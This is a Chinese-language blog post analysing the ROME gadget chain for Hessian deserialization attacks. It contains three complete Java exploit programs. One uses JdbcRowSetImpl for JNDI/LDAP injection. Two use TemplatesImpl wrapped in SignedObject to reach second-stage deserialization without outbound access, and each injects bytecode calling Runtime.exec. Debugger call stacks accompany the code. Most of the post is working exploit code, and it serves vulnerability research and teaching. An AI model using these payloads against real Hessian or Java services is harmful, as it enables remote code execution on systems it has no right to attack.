Hessian反序列化之Rome利用链

1356617

出网

Romo<1.12.0

ROME的ToStringBean类会调用目标类getter:

  • TemplatesImpl#getOutputProperties
  • JdbcRowsetImpl#getDatabaseMetaData

getter方法以获取目标类对象中的field值

poc

这个相当于实现了client的作用,需要起一个server的LDAP服务,具体看之前[JNDI注入 | Atlant1c`s blog](http://www.atlant1c.cn/2024/04/10/JNDI注入/)

具体应用场景的猜测是一个hessian序列化与反序列化的服务,然后里面引入了Rome依赖,以及创建了下列几个对象,然后被恶意利用了,然后url可控,或者是人为传对象。= =

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.sql.rowset.BaseRowSet;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class RomeJDBC {
public static void main(String[] args) throws Exception {
// ldap url
String url = "ldap://127.0.0.1:1234/Calculator";

// 创建JdbcRowSetImpl对象
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Field dataSource = BaseRowSet.class.getDeclaredField("dataSource");
dataSource.setAccessible(true);
dataSource.set(jdbcRowSet, url);

// 创建ToStringBean对象
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
// 创建ObjectBean
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

// 创建HashMap
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "bbbb");

/*
// 序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("JdbcRowExp.bin"));
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();

// 反序列化
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("JdbcRowExp.bin"));
objectInputStream.readObject();
objectInputStream.close();
*/
String result=Hessian_serialize(hashMap);
Hessian_unserialize(result);
}
public static String Hessian_serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void Hessian_unserialize(String obj) throws IOException {
byte[] code=Base64.getDecoder().decode(obj);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
HessianInput hessianInput=new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
}

image-20240419142203681

分析

看一下简化的调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
exec:347, Runtime (java.lang)
...
反射newinstance
...
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)

invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:110, ObjectBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
Hessian_unserialize:60, RomeJDBC (hessian)
main:47, RomeJDBC (hessian)

ToStringBeantoString方法中,会调用getPropertyDescriptors来获得JdbcRowSetImpl的所有公开的get方法,然后逐个使用invoke调用。

进入connect方法,会调用lookup函数

image-20240419151115947

可以看到这个dataSource为我们的那个地址

image-20240419151337296

还有一个细节,在ToStringBean类的Object value = pReadMethod.invoke(_obj,NO_PARAMS);下个断点,观察pReadMethod方法image-20240419152400790

调用顺序是按照一个HashMap转换而成的Descriptor(当成List就行)来的,而我们都知道HashMap是根据键的哈希值来确定存储顺序的(相当于随机了)

总之就是在这个机缘巧合之下,getter存放顺序很合适,使得在调用到getDatabaseMetaData()之前都不会报错

从而Rome链可以结合JdbcRowSetImpl使用

不出网

使用 java.security.SignedObject 进行二次反序列化,来实现不出网利用。这个类有个 getObject 方法会从流里使用原生反序列化读取数据,就造成了二次反序列化。

image-20240416122812406

通过触发getter方法来进行拼接

HashCode

1
2
3
4
5
6
7
hessianinput.readObject()->
hashmap.put()->
EqualsBean.hashcode()->
ToStringBean.toString()->
SignedObject.getObject()->
hashmap.readObject()->
......
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
exec:347, Runtime (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
readObject:371, ObjectInputStream (java.io)
getObject:180, SignedObject (java.security)
invoke:497, Method (java.lang.reflect)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
Hessian_unserialize:80, hessianSignobject (hessian)
main:53, hessianSignobject (hessian)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package hessian;

import cn.hutool.core.lang.hash.Hash;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
/*import com.example.jackson.TemplateImpl;*/
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;

public class hessianSignobjectHashCode {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap<>();
hashMap.put(equalsBean,"aaa");
setFieldValue(toStringBean,"_obj",templates);

//SignedObject
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean_sign=new ToStringBean(SignedObject.class,signedObject);
EqualsBean equalsBean_sign=new EqualsBean(String.class,"aiwin");
HashMap hashMap_sign=new HashMap();
hashMap_sign.put(equalsBean_sign,"aaa");
setFieldValue(equalsBean_sign,"_obj",toStringBean_sign);
String result=Hessian_serialize(hashMap_sign);
Hessian_unserialize(result);

}
public static void setFieldValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static String Hessian_serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void Hessian_unserialize(String obj) throws IOException {
byte[] code=Base64.getDecoder().decode(obj);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
HessianInput hessianInput=new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
}

image-20240418171432870

Equals

1
Hashtable#readObject() -> EqualsBean#equals() -> EqualsBean.beanEquals() -> SignedObject#getObject()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class hessianSignobjectEqualsBean {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
HashMap hashMap1 = getpayload(Templates.class, templates);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));

HashMap hashMap2 = getpayload(SignedObject.class, signedObject);
String result=Hessian_serialize(hashMap2);
Hessian_unserialize(result);
}
public static HashMap getpayload(Class clazz, Object obj) throws Exception {
ObjectBean objectBean = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "rand"));
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "rand");
ObjectBean expObjectBean = new ObjectBean(clazz, obj);
setFieldValue(objectBean, "_equalsBean", new EqualsBean(ObjectBean.class, expObjectBean));
return hashMap;
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static String Hessian_serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void Hessian_unserialize(String obj) throws IOException {
byte[] code=Base64.getDecoder().decode(obj);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code);
HessianInput hessianInput=new HessianInput(byteArrayInputStream);
hessianInput.readObject();
}
}

image-20240418171042857

参考:

浅谈Java二次反序列化 - 先知社区 (aliyun.com)

利用特殊反序列化组件攻击原生反序列化入口 - 先知社区 (aliyun.com)

Hessian、Spring、Groovy、Rhino反序列化浅析 - 先知社区 (aliyun.com)

Java安全之Rome链分析与利用 - 先知社区 (aliyun.com)